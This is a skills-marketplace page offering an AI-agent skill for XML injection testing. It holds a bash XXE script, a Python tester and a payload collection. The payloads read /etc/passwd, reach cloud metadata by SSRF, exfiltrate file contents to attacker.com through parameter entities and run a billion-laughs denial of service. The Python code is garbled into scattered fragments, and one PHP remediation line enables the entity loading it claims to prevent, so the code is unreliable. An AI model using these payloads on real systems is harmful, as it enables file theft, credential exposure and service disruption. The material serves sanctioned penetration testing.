Skip to main content سوق المهارات اكتشف واستكشف مهارات الذكاء الاصطناعي التي بناها المجتمع.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
نسخ Promptعرض تفاصيل Prompt يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-07يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
تحميل Zip جاري التحميل... المهن ذات الصلة SOC
استنادا إلى تصنيف SOC المهني
name wstg-inpv-07 description Testing for XML Injection category input-validation owasp_id WSTG-INPV-07 version 1.0.0 author cyberstrike-official tags ["injection","input-validation","xss","sqli","wstg","inpv"] tech_stack ["xml","xpath"] cwe_ids ["CWE-91"] chains_with [] prerequisites [] severity_boost {}
wstg-inpv-07
Test ID
WSTG-INPV-07
Test Name
Testing for XML Injection
High-Level Description
XML Injection occurs when user input is incorporated into XML documents without proper validation or encoding. This includes XML External Entity (XXE) injection, XPath injection, and XML tag injection. These vulnerabilities can lead to data disclosure, server-side request forgery, denial of service, or remote code execution.
What to Check
How to Test
Step 1: Identify XML Processing
#!/bin/bash
TARGET="https://target.com/api/process"
echo "[*] Testing for XXE..."
XXE_PAYLOAD='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>'
curl -s -X POST "$TARGET " \
-H "Content-Type: application/xml" \
-d "$XXE_PAYLOAD "
XXE_PHP='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>'
curl -s -X POST "$TARGET " \
-H "Content-Type: application/xml" \
-d "$XXE_PHP "
Step 2: XML Injection Tester
"""
XML Injection Vulnerability Tester (including XXE)
"""
requests
base64
re
:
( ):
.url = url
.findings = []
.session = requests.Session()
XXE_PAYLOADS = {
: ,
: ,
: ,
: ,
: ,
: ,
}
XML_ERRORS = [
,
,
,
,
,
,
,
,
,
,
]
( ):
( )
name, payload [
( , .XXE_PAYLOADS[ ]),
( , .XXE_PAYLOADS[ ]),
( , .XXE_PAYLOADS[ ]),
]:
:
response = .session.post(
.url,
data=payload,
headers={ : }
)
response.text response.text:
( )
.findings.append({
: ,
: name,
:
})
base64_pattern = re.search( , response.text)
base64_pattern:
:
decoded = base64.b64decode(base64_pattern.group())
decoded:
( )
.findings.append({
: ,
:
})
:
Exception e:
( ):
( )
:
response = .session.post(
.url,
data= .XXE_PAYLOADS[ ],
headers={ : },
timeout=
)
response.text response.text:
( )
.findings.append({
: ,
: ,
:
})
Exception e:
( ):
( )
blind_payload =
( )
( )
( ):
( )
payloads = [
,
,
,
]
payload payloads:
xml_doc =
:
response = .session.post(
.url,
data=xml_doc,
headers={ : }
)
response.text response.status_code == :
( )
Exception e:
( ):
( )
mini_bomb =
:
response = .session.post(
.url,
data=mini_bomb,
headers={ : },
timeout=
)
response.text:
( )
.findings.append({
: ,
: ,
:
})
requests.exceptions.Timeout:
( )
Exception e:
( ):
( + * )
( )
( * )
.findings:
( )
:
f .findings:
( )
f:
( )
f:
( )
( ):
.test_xxe_file_read()
.test_xxe_ssrf()
.test_blind_xxe()
.test_xml_tag_injection()
.test_dos()
.generate_report()
tester = XMLInjectionTester( )
tester.run_tests()
import
import
import
class
XMLInjectionTester
def
__init__
self, url
self
self
self
'file_read'
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>'''
'file_read_windows'
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<data>&xxe;</data>'''
'php_wrapper'
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>'''
'ssrf'
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>'''
'parameter_entity'
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<data>test</data>'''
'billion_laughs'
'''<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>'''
r'XML Parsing Error'
r'XMLSyntaxError'
r'parser error'
r'org\.xml\.sax'
r'javax\.xml'
r'DOMDocument'
r'simplexml_load'
r'lxml\.etree'
r'SAXParseException'
r'PCDATA invalid Char'
def
test_xxe_file_read
self
"""Test XXE for local file reading"""
print
"\n[*] Testing XXE file read..."
for
in
'Linux'
self
'file_read'
'Windows'
self
'file_read_windows'
'PHP Wrapper'
self
'php_wrapper'
try
self
self
'Content-Type'
'application/xml'
if
'root:'
in
or
'bin/bash'
in
print
f"[VULN] XXE File Read ({name} )!"
self
'type'
'XXE File Read'
'variant'
'severity'
'Critical'
return
True
r'[A-Za-z0-9+/=]{50,}'
if
try
if
b'root:'
in
print
f"[VULN] XXE File Read via PHP wrapper!"
self
'type'
'XXE File Read (Base64)'
'severity'
'Critical'
return
True
except
pass
except
as
pass
return
False
def
test_xxe_ssrf
self
"""Test XXE for SSRF"""
print
"\n[*] Testing XXE SSRF..."
try
self
self
self
'ssrf'
'Content-Type'
'application/xml'
10
if
'ami-id'
in
or
'instance-id'
in
print
f"[VULN] XXE SSRF - AWS Metadata accessible!"
self
'type'
'XXE SSRF'
'detail'
'AWS Metadata'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_blind_xxe
self
"""Test blind XXE via out-of-band"""
print
"\n[*] Testing blind XXE (OOB)..."
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR-SERVER/xxe">
%xxe;
]>
<data>test</data>'''
print
" [INFO] For blind XXE, use Burp Collaborator or similar"
print
" [INFO] Check for DNS/HTTP callbacks"
return
False
def
test_xml_tag_injection
self
"""Test XML tag injection"""
print
"\n[*] Testing XML tag injection..."
'<user>admin</user><role>admin</role>'
']]><admin>true</admin><!--'
'</data><injected>true</injected><data>'
for
in
f'''<?xml version="1.0"?>
<root>
<data>{payload} </data>
</root>'''
try
self
self
'Content-Type'
'application/xml'
if
'admin'
in
and
200
print
f"[WARN] XML tag injection may be possible"
except
as
pass
def
test_dos
self
"""Test XML Denial of Service"""
print
"\n[*] Testing XML DoS (Billion Laughs)..."
'''<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;">
]>
<lolz>&lol2;</lolz>'''
try
self
self
'Content-Type'
'application/xml'
5
if
'lollollol'
in
print
"[WARN] Entity expansion is enabled"
self
'type'
'XML Entity Expansion Enabled'
'severity'
'Medium'
'note'
'DoS via XML bomb may be possible'
except
print
"[WARN] Request timed out - possible DoS vulnerability"
except
as
pass
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"XML INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo XML injection vulnerabilities confirmed."
else
for
in
self
print
f"\n[{f['severity' ]} ] {f['type' ]} "
if
'detail'
in
print
f" Detail: {f['detail' ]} "
if
'note'
in
print
f" Note: {f['note' ]} "
def
run_tests
self
"""Run all XML injection tests"""
self
self
self
self
self
self
"https://target.com/api/xml"
Step 3: XXE Payload Collection
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo > &xxe; </foo >
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>" >
%eval;
%exfil;
]>
<?xml version="1.0" ?>
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd" >
<foo > test</foo >
<!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>" >
%eval;
%exfil;
<?xml version="1.0" standalone="yes" ?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<svg xmlns ="http://www.w3.org/2000/svg" >
<text > &xxe; </text >
</svg >
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<soap:Envelope xmlns:soap ="http://schemas.xmlsoap.org/soap/envelope/" >
<soap:Body >
<data > &xxe; </data >
</soap:Body >
</soap:Envelope >
Tools Tool Purpose Burp Suite XXE testing XXEinjector Automated XXE OXML_XXE Office XXE xxe-recursive-download File exfiltration
Remediation
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true );
dbf.setFeature("http://xml.org/sax/features/external-general-entities" , false );
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities" , false );
dbf.setExpandEntityReferences(false );
from defusedxml import ElementTree
tree = ElementTree.parse(xml_file)
from lxml import etree
parser = etree.XMLParser(resolve_entities=False , no_network=True )
<?php
libxml_disable_entity_loader (true );
$dom = new DOMDocument ();
$dom ->loadXML ($xml , LIBXML_NOENT | LIBXML_DTDLOAD);
?>
Risk Assessment Finding CVSS Severity XXE file read 9.1 Critical XXE SSRF 9.1 Critical Blind XXE 7.5 High XML DoS (Billion Laughs) 7.5 High
CWE Categories CWE ID Title CWE-611 Improper Restriction of XML External Entity Reference CWE-91 XML Injection
Checklist [ ] XXE file read tested
[ ] XXE SSRF tested
[ ] Blind XXE tested
[ ] XML DoS tested
[ ] Tag injection tested
[ ] Different file protocols tested
[ ] Findings documented